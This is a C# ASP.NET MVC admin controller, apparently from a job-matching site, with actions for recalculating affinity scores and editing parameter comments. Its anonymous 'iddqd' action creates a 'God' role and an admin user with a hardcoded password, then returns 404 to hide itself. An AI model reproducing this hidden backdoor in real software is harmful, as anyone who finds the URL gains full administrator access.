using Microsoft.AspNet.Identity; using Microsoft.AspNet.Identity.EntityFramework; using Sevomin.Models; using Sevomin.Models.Helpers; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Web.Mvc; namespace Sevomin.WebFrontend.Controllers { public class GodController : AuthorizedController { [Authorize(Roles = "God")] public ActionResult Index() { return View(); } [AllowAnonymous] public async Task iddqd() { UserManager.UserValidator = new UserValidator(UserManager); RoleManager roleManager = new RoleManager(new RoleStore(SevominDbContext.Current)); if (!(await roleManager.RoleExistsAsync("God"))) await roleManager.CreateAsync(new IdentityRole("God")); if ((await UserManager.FindByNameAsync("sevomin")) == null) { var user = new User("sevomin"); user.SignUpDate = DateTime.UtcNow; await UserManager.CreateAsync(user, "wePwntheNight"); } var res = await UserManager.AddToRoleAsync((await UserManager.FindByNameAsync("sevomin")).Id, "God"); return HttpNotFound(); } [Authorize(Roles="God")] public ActionResult RecalculateAffinity() { decimal a = 0; var dovJob = SevominDbContext.Current.DovominJobs; foreach (var dj in dovJob) { var oldAffy = dj.Affinity; dj.CalculateAffinity(); if (dj.Affinity > 1) throw new InvalidOperationException(); if (oldAffy != dj.Affinity) a++; } SevominDbContext.Current.SaveChanges(); return Content("boogh: " + a.ToString()); } [Authorize(Roles = "God")] [HttpPost] public void UpdateParam(long paramId, string commentAvalin, string commentDovomin) { var param = SevominDbContext.Current.Parameters.FirstOrDefault(p => p.Id == paramId); if (param != null) { param.CommentAvalin = commentAvalin; param.CommentDovomin = commentDovomin; SevominDbContext.Current.SaveChanges(); } } } }